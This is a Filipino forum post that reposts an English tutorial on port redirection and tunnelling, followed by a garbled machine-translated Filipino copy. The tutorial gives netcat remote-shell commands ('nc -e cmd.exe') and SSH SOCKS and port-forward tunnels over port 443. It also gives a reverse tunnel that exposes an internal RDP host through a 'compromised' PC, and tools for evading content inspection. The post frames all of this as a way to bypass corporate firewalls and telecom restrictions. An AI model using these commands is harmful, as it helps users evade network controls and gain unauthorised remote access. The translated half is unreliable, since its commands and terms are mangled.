What's new

Closed Anong ibig sabihin nang redirection proxy pang contra sa telecom

Status
Not open for further replies.

reenjan22

Forum Guru
Elite
Joined
Feb 23, 2015
Posts
2,787
Reaction
5,017
Points
1,146
Age
38
Basahin nang mabuti, at meroon po kasama dyan bat nakakatay po ang mga tricks ang ports kaya po naglabas po sila nang redirection proxy, redirection proxy server, at saka port po.

Sa mga makakaintindi lang po ito yong lahat na mga computer course po. Nosebleed po ang karamihan. Hehehe... sensya na, meroon din bagong labas na pwede makagawa nang tricks para sa payload at pwede ka na tawaging creator nang payload kong maintindihan mo po ito.

Playing with the Ports Redirection

by Davide Peruzzi

Whether you are performing a penetration test or that your goal is to debug an error in your complicated corporate network or, why not, to bypass control of a very restrictive firewall that does not allows to display web pages categorized as “häçking”, the port redirection is a technique as basic as it is powerful.

What’s better to dominate the redirection of TCP and UDP packets to bypass blocks, controls, restrictions and reach the target without changing any rule of a corporate firewalls?

Let’s start with some basics: the use of Netcat

Every networking game must start withnetcat (NC). I suppose you know that it is an utility which reads and writes data across network connections, using TCP or UDP transport. Nothing more, nothing less.

You can find NC version both for Linux and Microsoft OS. There is also a pre-compiled MacOS version, but has some restriction (the program to exec option)

Let’s have the first try: let’s start a listener on TCP port 4444

nc.exe -l -v -p 4444

If you have a look at the network connection of your machine, using the command netstat like in Figure 1, you will find a listening connection on port 4444

F1.jpg

Figure 1. Netcat is listening on TCP port 4444

In the second window use NC as a client and connect to local host on port 4444

nc.exe 127.0.0.1 4444 -v

Hit enter and you establish a simple connection with NC, but what is this?



Essentially is a simple chat. If in the window 1 you write something, it will redirect to the window 2 and vice versa.

So NC is a program that allows you to communicate using TCP or UDP protocols and you can use it whether as a client or as a server.

TCP/UDP connections are more useful than a simple chat: you can use NC to test if a remote port is open, to grab information about a service listening on a remote PC (the banner) and to connect to this service; otherwise you can use it to redirect text, request html page, and, last but not least, remotely admin a PC.

Let’s try NC to pass simple text file, this will help to better understand the last example of this article.

At this time I will use Microsoft commands, but you can implement the same thing on Linux or MacOS.

So, let’s try to pass text file starting the following listener and connecting to it:

Shell1:

nc.exe –l –v -p 4444 > file.txt

Shell2:

nc.exe 127.0.0.1 4444

And now let’s transfer a file (note the -w option used to end connection and to unlock the file transferred):

Shell1:

nc.exe –l -p 4444 < myfile.zip

Shell2:

nc.exe -w 1 127.0.0.1 4444 > myfile_ren.zip

Let’s now talk about remote admin. You can use -e option to execute programs, in this case cmd.exe or /bin/bash.

So, start a listener in one terminal window:

nc.exe -lvp 4444 -e cmd.exe

…and connect to it using a second command shell as you can see in Figure 2.

F2-416x240.jpg

Figure 2. Remote shell using NC

You can also set the listener without -e option and use it on the client. The result will be a remote shell of the client on the machine with the listener.

Of course you can put together text/command redirection and command execution:

You have 3 PCs:

• Machine A is Linux, IP 10.0.1.1

• Machine B is Linux, IP is not relevant but it must be routable with A and C

• Machine C is Windows, IP 10.0.1.2

Let’s start 2 listeners in two different windows in Machine A

Shell1:

nc –lvp 3333

Shell2:

nc –lvp 2222

Then you start one listener with -e option on the Windows PC.

nc.exe –lvp 4444 –e cmd.exe

When all listeners are ready let’s put all together running the 3 clients from Machine B in the same shell.

nc 10.0.1.1 3333|nc 10.0.1.2 4444|nc 10.0.1.1 2222

You wait some seconds and … TA-DAAA! In the Machine A you have a remote shell of the Windows system. Note that pipelining in Machine B has as effect that, in Machine A, you write the command in shell 1 and read output in shell 2. (Figure 3)

F3-170x240.jpg


Figure 3. The pipelining diagram

This sound like a remote shell using a proxy, but later I’ll talk about it better.

A similar pipelining can also be use where the option –e is not supported (MacOS):

nc –lvp 9999 | /bash/bin | nc –lvp 8888

Go on with a new scenario

Put aside for a moment netcat and start to examine a new scenario with a little bit of problems to be solved. Let’s assume you are a developer of a large computer company and your mentor in the field of programming, let’s call him Bill, is on the other side of the globe, but he is permanently connected to an IRC channel or to some other kind of chat. You need him. Bill advises you, helps you and enables you to finish your work quickly and well.

That’s a small detail: IRC is (rightly) blocked by your company and the only way to communicate you are allowed to are e-mails or phone. The phone is definitely excluded and e-mails are not as light as the chat.

You have no other way. You have to circumvent the restrictions your network administrator has put in place.

In addition, if you’re not even administrator of your office PC (we’ll call it PC_DEV), you have very few chances to act, but you know how to take advantage of the port redirection, and this will be your ace.

You have to start with the bases: find a way to communicate with an external server (AKA your home) in a safe and “allowed” method, without disrupting business configurations or requiring intervention from IT, that should be justified.

First of all you need to know the public IP of your house, to be able to connect.

Let’s assume you have a fixed public IP (192.1.1.111).

Now you have to activate a server within your home network that will play the role of proxy.

For those who do not know, the proxy is a generic term referring to a program that mediates communication between a client and a server, directing requests and responses; doing this can execute certain other tasks, including traffic control, logging data, redirection, caching, anonymizing etc etc

Back to us: with $ 50 you can buy a nice RaspberryPI (Figure 4) or retrieve a scrap PC and install any lightweight Linux distro. Also install all the basic tools for a happy redirection: openssl, rinetd, netcat, socat, proxychains, stunnel, proxytunel. Then plug it into your home network and configure your home firewall / router so that all requests coming to your public IP address on a specific port are NATted to the corresponding port on your RaspberryPI (from now on we will call it RPI).

F4-360x240.jpg

Figure 4. RPI or other low-budget PC are very usefull to set a small private proxy

Ok, so far you have been working from home to configure and install everything, it is time to implement the remote control of your home server: the best solution is definitely an SSH connection.

You need to find out which outgoing ports are open on the corporate firewall, as you can contact the SSH service on your RPI placed at home.

Let’s suppose another thing: your office firewall has no content inspection. So it does not verify the true nature of packets on a specific port. For example, if you make a connection from your browser using HTTP on port 80 TCP, firewall with content inspection verifies that the traffic is actually HTTP compliant and lets him go, but if you try to push SSH or FTP traffic through port 80 TCP, it will be blocked as not compliant.

Ok, your firewall has no control and you will try to find out which ports you could reach on 192.1.1.111 (NATted then on the RPI with private IP 192.168.0.10). For simplicity we’ll consider only TCP ports.

What can you use to find some firewall allowed ports?

There are online tools likeportquiz.positon.org or you can implement a netcat script to find them, but there are a fistful of ports that you can discover also without any tool: if you can browse the Internet, the ports 80 and 443 are open. Other probable ports are those used by mail clients: 25, 110 and their SSL versions 995, 465 or 587; maybe also 22 and 21.

With the necessary let’s suppose that you have discovered some ports allowed. Some of them imagined: 80, 443, 25, and some others witch are a nice discovery: 33333 and 43330 to 43340 … a nice bòò†ÿ!

You decide to use the 443 for our SSH server, then you reach the sshd_config file on your RPI, change the default port and set the desired parameters (e.g. allowing access with password)

Using Openssl you generate the server keys et voilà: your SSH server is ready to go.

Now you can go at office and test the connection.

Using any SSH client (OpenSSH, putty, dropbead or FireSSH for Firefox) you start the connection, insert the password and now you are on your support server at home. The first big step is done: the bridgehead is created.

Great, you have an access to your RPI via SSH.

Of course you could implement the use of SSH keys, it would be safer, but for the moment you do not care about it; you want to speak with your friend on IRC and you have already worked hard; but now the road is downhill.

Let’s overlook, for the moment that SSH can be used directly to proxy all requests and let’s try to implement rinetd, a program able to accept incoming traffic on any port and redirect it towards a different address / port.

How it basically works? Rinetd starts a listener on a specific port that can be configured; all client connections established on this port are redirected to another IP / port that is set on the config file.

So, on RPI, let’s go configure rinetd: it will listen for connections on port 33333 (do you remember that this port was allowed on firewall?) and redirect all packets toward irc.freenode.net on port 6667. (Figure 5)

F5-500x153.jpg

Figure 5. Rinetd configuration file

To test the connection you will use the simplest thing: telnet as in Figure 6 ornetcat. When you’ll see everything working properly you can implement a better solution such as a stand-alone client – let us remember that you are not pc administrator.

F6-500x215.jpg


Figure 6. Telnet connection to a IRC node using a proxy

WOW, you have successfully implemented a remote administration solution, with SSH, by non-standard ports, through a corporate firewall; you played using port redirection with rinetd and now you have your personal preferred channel with Bill, without upsetting some systems admin with your requests. What about security? Did you open some flaws in the corporate network or your own? Yes, a little bit.

Through IRC various threats can be conveyed and an SSH server must be strongly protected (SSH Keys, IP / time / user restrictions, strong password…), so you always keep in mind that you are working on the edge, be careful not to slip.

Go out from the programmer’s example and his friend Bill, but stay on this network configuration (corporate and home) and let’s see some other application of port redirection.

Playing with SSH

Remember, as said before, that SSH can be used as a proxy. You can use the –D function with plink SSH client, while establishing connection from client, associating a local port to immediately create a SSL tunnel between our machine and the SSH server. Look at this:

c:>plink.exe -l rpiuser -D 7777 192.1.1.111 -P 443

This means: connect to the SSH server (192.1.1.111) on port 443 using user rpiuser and, on the client that starts the SSH connection, open a listener on port 7777. Now you have, a 127.0.0.1:7777 waiting for connections, which is nothing other than one of the entrances of the tunnel. All packets sent to this listener will be redirected to 192.1.1.111, through 443 port of the corporate firewall. In addition such packets will be encrypted. There are several programs that take advantage of tunneling.

If you configure 127.0.0.1:7777 as the proxy of your browser all your searches and explorations of web will passed to the home (192.168.1.111) connection and not to the corporate one. Let’s try this using Firefox.

After the SSH connection is established open the Firefox Preferences and search for Advanced > Network > Settings. Flag the “Manual proxy setting” and “Socks V5”; insert 127.0.0.1 in the Socks Host and 7777 in “port”. Confirm and then try to verify your external IP (You do not have permission to view the full content of this post. Log in or register now.), if all is right, your IP will be 192.1.1.111 . Yes, doing this you’ll be able to bypass sites or categories restrictions putted in place by the corporate firewall. You can also use some rapid proxy switching add-on as Elite Proxy Switcher.

The browser has its proxy configuration, but not every program has this implementation. In these case you can associate the tunneling to a proxy program (as proxychains) and then redirect any outgoing program connection: IRC, FTP, e-mail, RDP.

Consider, this time a Linux client in your corporate LAN (call it dev_linux). In this example you are “root” but it is not necessary if you have all essential programs (e.g. proxychains) installed and configured.

On the client start the SSH tunneling as done before and configure/etc/proxychain.conf adding the following line:

socks5 127.0.0.1 7777

Now open a terminal window and use the command proxychains followed by the application you want to proxy throw 127.0.0.1:7777

root@dev_linux:~# proxychains sbmblient –L 192.168.0.5 –U administrators

This is wonderful! From your corporate PC you can connect through SSH tunneling to an SMB shared folder present on a PC in your home network (192.168.0.5) using administrator (that is the administrator user of the pc with IP 192.168.0.5) and all traffic will be encrypted.

A little more “Proof of Concept” using SSH

Let’s suppose you have 3 PCs

• RPI: SSH server is listening on 443 TCP; public IP is 192.1.1.111.

• PC_DEV: the computer of the developer described at the beginning; behind corporate firewall; private IP 10.0.0.10.

• PC_RDP: a PC with Remote Desktop Server enabled; routable with PC_DEV, but without default gateway, so not routable to internet. This is a simple protection implemented by corporate sysadmin. PC_RDP has private IP 10.0.0.11.

From PC_DEV you are able to do this also without administrator privilege:

c:>plink.exe -l rpiuser -R 5555:10.0.0.11:3389 192.1.1.111 -P 443

This will start an encrypted tunnel between RPI (The Attacker) localhost:5555 and 10.0.0.11:3389. Although the port 3389 is not open on the enterprise firewall, the RDP traffic is not NATted and the PC_RDP (The Non-Routable) does not have a gateway to exit from its subnet, the communication is established correctly, conveyed through PC_DEV (The Compromised) on port 443. (Figure 7)

F7-310x240.jpg


Figure 7. The SSH tunneling in action

From the RPI will be enough for you to connect to localhost on port 55555 to reach the remote desktop.

rpiuser@raspberrypi ~ $ rdesktop 127.0.0.1:5555

Of course, this only works until the SSH connection that holds the tunnel remains active.

If you better consider this example and you are a system administrator of a large company you must have a gooseflesh. Even with a strong edge firewall policy, if one of your LAN PC is compromised by an häçker, potentially all other PCs in that LAN will be a more simple target using tunneling.

Now, using the same method, let’s see how we can use SSH to do the same port redirection set with rinetd.

From PC_DEV

c:>plink.exe -l rpiuser -L 4444:irc.freenode.net:6667 192.1.1.111 -P 443

That is: connect to my SSH server on port 443, make a tunnel encapsulating all the local packets (-L) that reach 127.0.0.1:4444 and redirect it to irc.freenode.net:6667.

WOW, but let’s expand the idea, described before, and use SSH tunneling to get a graphical SMB view. Start an SSH tunnel from dev_linux binding the local 445 port (-L 445:) to 192.168.0.5:445 (445 TCP is the SMB common port)

root@dev_linux:~# ssh –L 445:192.168.0.5:445rpiuser@192.1.1.111 –p 443

Now start a nautilus GUI window and connect to SMB://127.0.0.1. Ta-da you are browsing the shared folders on 192.168.0.5 using a graphical GUI and bypassing corporate firewall restrictions. That sounds good!

Of course encrypt, decrypt, proxy and GUI lead to slowing your work, but this is just a proof of concept.

Some little words on content inspection

What about a firewall with content inspection?

Proxytunnel is another proxy program that encapsulates all the traffic in http and https packets. So you can insert the SSH connections in HTTP-compliant packets and try to bypass content inspection.

Do you need a certificate to connect through a client that does not allow you to use native SSL as telnet? Stunnel generates its certificate. Then the client uses this certificate to connect and to encrypt traffic.

So you can use telnet or NC to connect to POP3S or FTPS.

Stunnel can be also use in “server” mode; look at the following case: you have a ftp server, listening on 21 TCP, that not have an SSL implementation. You can configure the FTP listener to start on a different port (eg 8021), then you generate a certificate and configure stunnel to accept connections from port 21 and redirect it, through the certificate created, to port 8021.

The same thing can also be done for a http server.

Tunneling UDP traffic

An now a last example that I like very much because combine NC and SSH to make a wonderful thing: encapsulation of UDP traffic in a TCP Tunnel.

You have 2 linux PCs: dev_linux and RPI. As you remember dev_linux is a corporate PC and RPI in a PC you use as a proxy at your home.

You already can redirect TCP packets through SSH tunneling, but now you want to make some DNS query (UDP packet port 53) from dev_linux, but using the public IP address of the proxy.

First you have to start a SSH tunnel

root@dev_linux:~# ssh –L 4444:127.0.0.1:4444 root@192.1.1.111 –p 443

Now every packet sent to your local (dev_linux) 4444 TCP port will be tunneled, through TCP port 443, to the 4444 tcp port of the RPI.

You have to create now a pipelining between TCP and UDP both at the entrance and at the ending of the tunnel. You will use, of course, netcat to complete this task.

So on RPI you run these commands:

root@raspberrypi:~# mkfifo /tmp/fifo

root@raspberrypi:~# nc -l -p 4444 < /tmp/fifo | nc -u 8.8.8.8 53 > /tmp/fifo

… And these on the dev_linux PC.

root@dev_linux:~# mkfifo /tmp/fifo

root@dev_linux:~# nc -l -u -p 53 < /tmp/fifo | nc 127.0.0.1 4444 > /tmp/fifo

Now on the dev_linux you can run your DNS query:

nslookup hakin9.org 127.0.0.1

So what happened?

First of all the FIFO file is a place where processes can exchanging data and you use it to manage the query and the response.

Note also that you must be root to open port under 1024, but let me explain the steps:

• The PC dev_linux runs a query and sends packet to 127.0.0.1 53 UDP

• netcat forwards the packet from UDP 53 to 127.0.0.1 4444 TCP

• The TCP 4444 request is tunneled and reaches the server on port 4444 TCP

• On the server NC gets the request on TCP 4444 and forwards it to a DNS server (in this case the Google DNS server – IP 8.8.8.8) using port 53 UDP

• The response, taking advantage of the FIFO file, takes the way backwards

• On PC dev_linux you reach the “happy end” and can finally read the response of the query

Conclusion

The modularity of all these programs creates a myriad of scenarios and interesting possibilities. Knowing how to redirect TCP traffic through different networks, firewalls, IPS, proxies doing the slalom between blocks of different nature brings great satisfaction and helps to better understand how networks we access everyday work.

All these things said are very exciting, but you always must remember as the saying goes: “Look before you leap“.

Source: You do not have permission to view the full content of this post. Log in or register now.

Hit Like And Thanks po...
 

Attachments

Last edited:
(ito po yung filipino version nya.. hahaha)

HTML:
Nagpe-play sa Ports Redirection

Davide Peruzzi

Kahit na ikaw ay magsagawa ng isang pagtagos pagsubok o na ang iyong layunin ay upang i-debug isang error sa iyong asawa corporate network o, bakit hindi, i-bypass ang kontrol ng isang tunay mahigpit firewall na ay hindi nagbibigay-daan upang ipakita ang mga pahina ng web ikinategorya bilang "taga", ang port redirection ay isang pamamaraan bilang pangunahing bilang ito ay makapangyarihan.

Ano ang mas mahusay na mangibabaw ang pag-redirect ng TCP at UDP packets sa bypass bloke, mga kontrol, mga paghihigpit at maabot ang target na walang pagbabago ng anumang panuntunan ng isang corporate firewalls?

Tayo'y magsimula sa ilang mga pangunahing kaalaman: ang paggamit ng Netcat

Bawat networking laro ay dapat magsimula withnetcat (NC). Ipagpalagay ko alam mo na ito ay isang utility na bumabasa at writes data sa mga koneksyon sa network, ang paggamit ng TCP o UDP transportasyon. Wala na, walang mas mababa.

Maaari mong mahanap ang NC bersiyon parehong para sa Linux at Microsoft OS. Mayroon ding isang pre-naipon na bersyon MacOS, ngunit may ilang mga paghihigpit (ang programa upang exec opsyon)

Sabihin magkaroon ng unang subukan: Magsimula tayo ng isang tagapakinig sa TCP port 4444 ipaalam

nc.exe -l -v -p 4444

Kung ikaw ay may isang tumingin sa mga koneksyon sa network ng iyong machine, gamit ang command netstat tulad ng sa Figure 1, makikita mo ang isang pakikinig na koneksyon sa port 4444

Figure 1. Netcat ay pakikinig sa TCP port 4444

Sa pangalawang window gamitin NC bilang isang client at kumonekta sa mga lokal na host sa port 4444

nc.exe 127.0.0.1 4444 -v

Pindutin ang enter at kayo magtatag ng isang simpleng koneksyon sa NC, ngunit kung ano ito?



Mahalaga ay isang simpleng chat. Kung sa window 1 isulat mo ang isang bagay, ito ay pag-redirect sa window 2 at vice versa.

Kaya NC ay isang programa na nagpapahintulot sa iyo upang makipag-usap gamit ang TCP o UDP protocol at maaari mo itong gamitin kung bilang isang client o bilang isang server.

TCP / UDP na koneksyon ay mas kapaki-pakinabang kaysa sa isang simpleng chat: maaari mong gamitin ang NC upang subukan kung ang isang remote port ay bukas, ang kukunin ng impormasyon tungkol sa isang serbisyo sa pakikinig sa isang remote PC (ang banner) at upang kumonekta sa serbisyong ito; kung hindi, maaari mong gamitin ito upang i-redirect text, kahilingan html pahina, at, huling ngunit hindi bababa sa, sa malayo admin isang PC.

Hayaan subukan ni NC upang pumasa simpleng text file, ito ay makakatulong upang mas mahusay na maunawaan ang mga huling halimbawa ng artikulong ito.

Sa oras na ito ay ko bang gamitin ang Microsoft utos, ngunit maaari mong ipatupad ang mga parehong bagay sa Linux o MacOS.

Kaya, sabihin subukan upang pumasa text file simulan ang mga sumusunod na mga tagapakinig at sa pagkonekta sa mga ito:

Shell1:

nc.exe -l -v -p 4444> file.txt

Shell2:

nc.exe 127.0.0.1 4444

At ngayon sabihin ilipat ni isang file (tandaan ang -w opsyon ginagamit upang tapusin koneksyon at i-unlock ang file ililipat):

Shell1:

nc.exe -l -p 4444 <myfile.zip

Shell2:

nc.exe -w 1 127.0.0.1 4444> myfile_ren.zip

ngayon makipag-usap tungkol remote admin Hayaan. Maaari mong gamitin ang -e pagpipilian upang execute programa, sa kasong ito cmd.exe o / bin / malakas na palo.

Kaya, magsimula ng isang tagapakinig sa isang terminal window:

nc.exe -lvp 4444 -e cmd.exe

... At kumonekta sa ito gamit ang isang pangalawang command shell tulad ng makikita mo sa Figure 2.


Figure 2. Remote shell gamit NC

Maaari mo ring itakda ang mga tagapakinig na walang -e opsyon at gamitin ito sa client. Ang resulta nito ay isang remote shell ng client sa machine na may mga tagapakinig.

Of course maaari mong ilagay magkasama text / command redirection at command pagpapatupad:

Mayroon kang 3 mga PC:

• Machine A ay Linux, IP 10.0.1.1

• Machine B ay Linux, IP ay hindi kaugnay ngunit dapat itong maging routable kay A at C

• Machine C ay Windows, IP 10.0.1.2

Magsimula tayo 2 mga tagapakinig sa dalawang magkaibang mga bintana sa Machine A Hayaan

Shell1:

nc -lvp 3333

Shell2:

nc -lvp 2222

Pagkatapos mong simulan ang isa tagapakinig sa -e opsyon sa Windows PC.

nc.exe -lvp 4444 -e cmd.exe

Kapag ang lahat ng mga tagapakinig ay handa sabihin ilagay ang lahat ng sama-sama ang pagpapatakbo ng 3 mga kliyente mula sa Machine B sa parehong shell.

nc 10.0.1.1 3333 | nc 10.0.1.2 4444 | nc 10.0.1.1 2222

Maghintay ka ng ilang segundo at ... TA-daaa! Sa Machine A mayroon kang isang remote shell ng sistema ng Windows. Tandaan na pipelining sa Machine B ay may bilang na epekto, sa Machine A, isulat mo ang command sa shell 1 at basahin output sa shell 2. (Figure 3)


Figure 3. Ang pipelining diagram

Ito tunog tulad ng isang remote shell gamit ang isang proxy, ngunit sa ibang pagkakataon kukunin ko na makipag-usap tungkol sa mga ito ng mas mahusay.

Ang isang katulad na pipelining ay maaari ring maging paggamit kung saan ang opsyon -e ay hindi suportado (MacOS):

nc -lvp 9999 | / Malakas na palo / bin | nc -lvp 8888

Pumunta sa sa isang bagong sitwasyon

Ilagay sa isang tabi para sa isang sandali netcat at simulan upang masuri ang isang bagong sitwasyon na may isang maliit na piraso ng mga problema na lutasin. Ipagpalagay nating ikaw ay isang developer ng isang malaking kumpanya computer at ang iyong tagapayo sa larangan ng programming Hayaan, sabihin tumawag sa kanya Bill, ay sa kabilang bahagi ng mundo, ngunit permanenteng siya ay konektado sa isang IRC channel o sa ilang iba pang uri ng chat . Kailangan mo sa kanya. Bill nagpapayo sa iyo, tumutulong sa iyo at nagbibigay-daan sa iyo upang tapusin ang iyong trabaho nang mabilis at maayos.

Iyan ay isang maliit na detalye: IRC ay (nang tama) hinarangan sa pamamagitan ng iyong kumpanya at ang tanging paraan upang makipag-usap ikaw ay pinahihintulutan na ang mga e-mail o telepono. Ang telepono ay tiyak na hindi kasama at e-mail ay hindi bilang liwanag bilang ang chat.

Mayroon kang walang iba pang mga paraan. Mayroon kang upang magdaya ang mga paghihigpit sa iyong network administrator ay ilagay sa lugar.

Sa karagdagan, kung ikaw ay hindi kahit na administrator ng iyong opisina PC (kami ay tumawag ito PC_DEV), ikaw ay may tunay ilang mga pagkakataon na kumilos, ngunit alam mo kung paano upang samantalahin ng port redirection, at ito ay ang iyong magiging alas.

Mayroon kang upang magsimula sa ang patungan: makahanap ng isang paraan upang makipag-usap sa isang panlabas na server (AKA iyong tahanan) sa isang ligtas at "pinapayagan" paraan, nang walang disrupting configurations negosyo o na nangangailangan ng interbensyon mula sa IT, upang maging makatarungan.

Una sa lahat ng kailangan mong malaman ang pampublikong IP ng iyong bahay, upang magawang upang kumonekta.

Ipagpalagay nating mayroon kang isang nakapirming pampublikong IP (192.1.1.111) Hayaan.

Ngayon ay mayroon kang upang i-activate ang isang server sa loob ng iyong home network na magpe-play ang papel na ginagampanan ng proxy.

Para sa mga taong hindi alam, ang proxy ay isang generic term na tumutukoy sa isang programa na mediates komunikasyon sa pagitan ng isang client at isang server, nagdidirekta kahilingan at mga sagot; paggawa nito ay maaaring execute ilang mga iba pang mga gawain, kabilang ang trapiko control, data na pag-log, pag-redirect, pag-cache, hindi kilala ang etc etc

Bumalik sa atin: sa $ 50 maaari kang bumili ng isang másáráp na RaspberryPI (Figure 4) o makuha ang isang scrap PC at i-install ang anumang lightweight Linux distro. Gayundin install ang lahat ng mga pangunahing mga kasangkapan para sa isang masaya pag-redirect: openssl, rinetd, netcat, socat, proxychains, stunnel, proxytunel. Pagkatapos plug ito sa iyong home network at i-configure ang iyong bahay firewall / router upang ang lahat ng mga kahilingan na nanggagaling sa iyong mga pampublikong IP address sa isang tiyak na port ay NATted sa kaukulang port sa iyong RaspberryPI (mula ngayon kami ay tumawag ito RPI).

Figure 4. RPI o iba pang mga mababang-badyet PC ay napaka usefull upang magtakda ng isang maliit na pribadong proxy

Ok, sa ngayon ikaw ay nagtatrabaho mula sa bahay upang i-configure at i-install ang lahat ng bagay, ito ay panahon upang ipatupad ang remote control ng iyong tahanan server: ang pinakamahusay na solusyon ay talagang isang SSH koneksyon.

Kailangan mo upang malaman kung aling mga palabas na port ay bukas sa corporate firewall, tulad ng maaari mong kontakin ang SSH serbisyo sa iyong RPI inilagay sa bahay.

Hayaan ipagpalagay ni isa pang bagay: iyong opisina firewall ay walang nilalaman inspeksyon. Kaya ito ay hindi ma-verify ang tunay na katangian ng mga packets sa isang tiyak na port. Halimbawa, kung gumawa ka ng isang koneksyon mula sa iyong browser gamit ang HTTP sa port 80 TCP, firewall na may nilalaman inspeksyon nakumpirma na ang trapiko ay talagang HTTP compliant at hinahayaan mo siya, ngunit kung susubukan mo upang itulak SSH o FTP trapiko sa pamamagitan ng port 80 TCP, ito ay naharang dahil hindi sang-ayon.

Ok, ang iyong firewall ay walang kontrol at ikaw ay subukan upang malaman kung aling mga ports maaari mong maabot sa 192.1.1.111 (NATted pagkatapos ay sa RPI na may mga pribadong IP 192.168.0.10). Para simple kami isaalang-alang lamang TCP ports.

Ano ang maaari mong gamitin upang mahanap ang ilang mga firewall pinapayagan ports?

May mga online na mga kasangkapan likeportquiz.positon.org o maaari mong ipatupad ang isang netcat script upang mahanap ang mga ito, ngunit may mga isang fistful ng port na maaari mong matuklasan din na walang anumang mga kasangkapan: kung maaari mong i-browse ang Internet, ang port 80 at 443 ay bukas . Ibang probable port ay mga ginagamit ng mga mail client: 25, 110 at ang kanilang mga SSL bersyon 995, 465 o 587; marahil din 22 at 21.
Gamit ang mga kinakailangang sabihin ipagpalagay na ikaw ay may natuklasan ang ilang mga ports pinapayagan. Ang ilan sa kanila imagined: 80, 443, 25, at ilang mga iba bruha ay isang magaling na pagtuklas: 33333 at 43,330-43,340 ... gandang nadambong!

Ikaw ang maghusga kung paano gamitin ang 443 para sa aming mga SSH server, at pagkatapos maabot mo ang sshd_config file sa iyong RPI, baguhin ang default na port at itakda ang nais na mga parameter (halimbawa na nagpapahintulot ng access sa password)

Paggamit ng OpenSSL binuo mo ang server keys et voilà: your SSH server ay handa na upang pumunta.

Ngayon ay maaari kang pumunta sa opisina at subukan ang mga koneksyon.

Ang paggamit ng anumang SSH client (OpenSSH, masilya, dropbead o FireSSH para sa Firefox) simulan mo ang koneksyon, ipasok ang password at ngayon ikaw ay sa iyong support server sa bahay. Ang unang malaking hakbang ay tapos na: ang bridgehead ay nilikha.

Mahusay, mayroon kang isang pag-access sa iyong RPI sa pamamagitan ng SSH.

Syempre maaari mong ipatupad ang paggamit ng SSH keys, magiging mas ligtas, ngunit para sa mga sandali hindi mo pakialam tungkol sa mga ito; gusto mong makipag-usap sa iyong mga kaibigan sa IRC at ikaw ay nagtrabaho nang husto; ngunit ngayon ang daan ay pababa.

ni hindi pansinin, para sa mga sandali na SSH ay maaaring gamitin nang direkta sa proxy lahat ng mga kahilingan at sabihin subukan upang ipatupad rinetd, isang programa magagawang tanggapin papasok na trapiko sa anumang port at i-redirect ito patungo sa isang iba't ibang mga address / port Hayaan.

Paano ito talaga gumagana? Rinetd nagsisimula isang tagapakinig sa isang tiyak na port na maaaring isinaayos; lahat client koneksyon na itinatag sa ito port ay na-redirect sa isa pang IP / port na naka-set sa config file.

Kaya, sa RPI, hana isaayos rinetd: ito makinig para sa mga koneksyon sa port 33333 (? Matandaan mo na ito port ay pinapayagan sa firewall) at i-redirect ang lahat ng packets patungo irc.freenode.net sa port 6667. (Figure 5)

Figure 5. Rinetd configuration file

Upang subukan ang mga koneksyon na iyong gagamitin ang pinakasimpleng bagay: telnet tulad ng sa Figure 6 ornetcat. Kapag makikita mo ang lahat ng bagay gumagana nang maayos maaari mong ipatupad ang isang mas mahusay na solusyon tulad ng isang stand-alone client - ipaalam sa amin tandaan na ikaw ay hindi pc administrator.


Figure 6. Telnet koneksyon sa isang IRC node paggamit ng isang proxy

WOW, matagumpay mong na ipinatupad ng isang remote administration solusyon, na may SSH, sa pamamagitan ng non-standard na port, sa pamamagitan ng corporate firewall; na i-play gamit port redirection sa rinetd at ngayon ikaw ay ang iyong personal na ginustong channel na may Bill, nang walang upsetting ang ilang mga sistema admin sa iyong mga kahilingan. Paano ang tungkol sa seguridad? buksan mo ba ilang flaws sa corporate network o ng iyong sarili? Oo, ang isang maliit na bit.

Sa pamamagitan ng IRC iba't ibang mga banta ay maaaring conveyed at isang SSH server ay dapat na matibay ang protektado (SSH Keys, IP / oras paghihigpit / user, malakas na password ...), upang lagi mong panatilihin sa isip na ikaw ay nagtatrabaho sa gilid, mag-ingat na hindi slip .

Umalis ka sa halimbawa ang programmer at ang kanyang mga kaibigan Bill, ngunit manatili sa mga ito configuration network (corporate at home) at sabihin makita ang ilang mga iba pang mga application ng port redirection.

Nagpe-play sa SSH

Tandaan, gaya ng sinabi, na SSH ay maaaring magamit bilang isang proxy. Maaari mong gamitin ang -D function na may plink SSH client, habang ang pagtataguyod ng koneksyon mula sa client, pag-uugnay ng isang lokal na port upang agad lumikha ng isang SSL tunnel sa pagitan ng aming machine at ang SSH server. Tignan mo to:

c:> plink.exe -l rpiuser -D 7777 192.1.1.111 -P 443

Ito ay nangangahulugan na: kumonekta sa SSH server (192.1.1.111) sa port 443 gamit user rpiuser at, sa client na magsisimula ang SSH koneksyon, buksan ang isang tagapakinig sa port 7777. Ngayon ay mayroon kang, isang 127.0.0.1:7777 naghihintay para sa mga koneksyon , na kung saan ay walang iba kundi ang isa sa mga pasukan ng lagusan. Lahat packets na ipinadala sa mga tagapakinig na ito ay nai-redirect sa 192.1.1.111, sa pamamagitan ng 443 port ng corporate firewall. Bilang karagdagan tulad packets ay naka-encrypt. Mayroong ilang mga programa na samantalahin ng tunneling.

Kung na-configure mo 127.0.0.1:7777 bilang ang proxy ng iyong browser ang lahat ng iyong mga paghahanap at pag-explore ng web ay dumaan sa bahay (192.168.1.111) na koneksyon at hindi sa corporate isa. Tayo'y subukan ito gamit ang Firefox Hayaan.

Matapos ang SSH koneksyon ay itinatag buksan ang Mga Kagustuhan Firefox at paghahanap para sa Advanced> Network> Mga setting. I-flag ang "Manual proxy setting" at "Socks V5"; ipasok 127.0.0.1 sa Socks Host at 7777 sa "port". Kumpirmahin at pagkatapos ay subukan upang i-verify ang iyong panlabas na IP (http://ifconfig.me), kung ang lahat ay tama, ang iyong IP ay 192.1.1.111. Oo, ginagawa na ito makikita mo na ang bypass sites o mga kategorya paghihigpit putted sa lugar sa pamamagitan ng mga corporate firewall. Maaari mo ring gamitin ang ilang mabilis na proxy lumilipat add-on tulad ng Elite Proxy Switcher.

Ang browser ay may proxy configuration, ngunit hindi ang bawat programa ay may ito pagpapatupad. Sa mga kaso maaari mong iugnay ang mga tunneling sa isang proxy program (tulad proxychains) at pagkatapos ay i-redirect anumang mga papalabas na koneksyon programa: IRC, FTP, e-mail, RDP.

Isaalang-alang, oras na ito ng isang Linux client sa iyong corporate LAN (tumawag ito dev_linux). Sa halimbawang ito ikaw ay "root" ngunit ito ay hindi kinakailangan kung mayroon kang ang lahat ng mahahalagang mga programa (halimbawa proxychains) naka-install at isinaayos.

Sa client simulan ang SSH tunneling na tapos bago at i-configure / etc / proxychain.conf pagdaragdag ng sumusunod na linya:

socks5 127.0.0.1 7777

